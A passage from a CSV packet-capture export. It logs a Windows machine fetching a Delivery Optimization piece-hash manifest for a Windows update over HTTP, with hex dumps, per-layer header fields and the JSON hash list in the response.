77.95.69.5\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 442, \"\"id\"\": 42513, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 7717, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730039890, \"\"ack\"\": 2504523789, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 16818, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"77.95.69.5\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-19 10:57:19.004360,5,TCP 77.95.69.5:80 -> 10.152.152.11:64029,77.95.69.5,10.152.152.11,80,64029,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2504523789 Ack=2730040292,bc2411360d0cbc24112907bb0800450000283c1d40004006c9ab4d5f45050a98980b0050fa1d9548000da2b91be45010003f35220000,\".$.6\n..$.)....E..(<.@.@...M_E.\n....P...H.\n....P..?5\"\"..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 15389, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 51627, \"\"src\"\": \"\"77.95.69.5\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64029, \"\"seq\"\": 2504523789, \"\"ack\"\": 2730040292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 13602, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:57:19.313833,6,TCP 77.95.69.5:80 -> 10.152.152.11:64029,77.95.69.5,10.152.152.11,80,64029,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb0800450005e03c1e40004006c3f24d5f45050a98980b0050fa1d9548000da2b91be45018003f3ada0000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a2053756e2c203139204a756c20323032362031303a35373a313920474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a2033340d0a582d5365727665642d42793a2063616368652d7061722d6c667067313936303033312d5041520d0a582d43616368653a204849540d0a582d43616368652d486974733a2031300d0a582d54696d65723a2053313736303436313234372e3730303839312c5653302c5645300d0a582d4349443a2031303030320d0a582d4343433a2039343763303538662d326231662d346437312d616265302d3333343032633633363732390d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a47,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJG\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1504, \"\"id\"\": 15390, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 50162, \"\"src\"\": \"\"77.95.69.5\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64029, \"\"seq\"\": 2504523789, \"\"ack\"\": 2730040292, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 15066, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"34\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Sun, 19 Jul 2026 10:57:19 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": \"\"SAMEORIGIN\"\", \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": \"\"1; mode=block\"\", \"\"Unknown_Headers\"\": \"\"{b'X-Served-By': b'cache-par-lfpg1960031-PAR', b'X-Cache': b'HIT', b'X-Cache-Hits': b'10', b'X-Timer': b'S1760461247.700891,VS0,VE0', b'X-CID': b'10002', b'X-CCC': b'947c058f-2b1f-4d71-abe0-33402c636729', b'X-Cache-Status': b'STALE'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"MajorVersion\\\"\":1,\\\"\"MinorVersion\\\"\":0,\\\"\"HashOfHashes\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"HashOfHashesString\\\"\":\\\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\"\",\\\"\"ContentLength\\\"\":79240605,\\\"\"PieceSize\\\"\":1048576,\\\"\"Pieces\\\"\":[\\\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\"\",\\\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\"\",\\\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\"\",\\\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\"\",\\\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\"\",\\\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\"\",\\\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\"\",\\\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\"\",\\\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\"\",\\\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\"\",\\\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\"\",\\\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\"\",\\\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\"\",\\\"\"ofAo/IflBJG\"\"}}]\"\n2026-07-19 10:57:19.314059,7,TCP 10.152.152.11:64029 -> 77.95.69.5:80,10.152.152.11,77.95.69.5,64029,80,TCP,Internal,Private Network,,,,,,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730040292 Ack=2504525253,bc24112907bbbc2411360d0c080045000028a612400080061fb60a98980b4d5f4505fa1d0050a2b91be4954805c55010040222b20000,\".$.)...$.6\n...E..(..@.....\n...M_E....P.....H..P...\"\"...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42514, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 8118, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.95.69.5\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64029, \"\"dport\"\": 80, \"\"seq\"\": 2730040292, \"\"ack\"\": 2504525253, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 8882, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 10:57:19.314387,8,TCP 77.95.69.5:80 -> 10.152.152.11:64029,77.95.69.5,10.152.152.11,80,64029,TCP,France,Unknown,39801,France IX Services SASU,48.8582,2.3387,77.95.68.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2504525253 Ack=2730040292,bc2411360d0cbc24112907bb080045000b683c2040004006be684d5f45050a98980b0050fa1d954805c5a2b91be45018003f406200006641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c,\"fABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A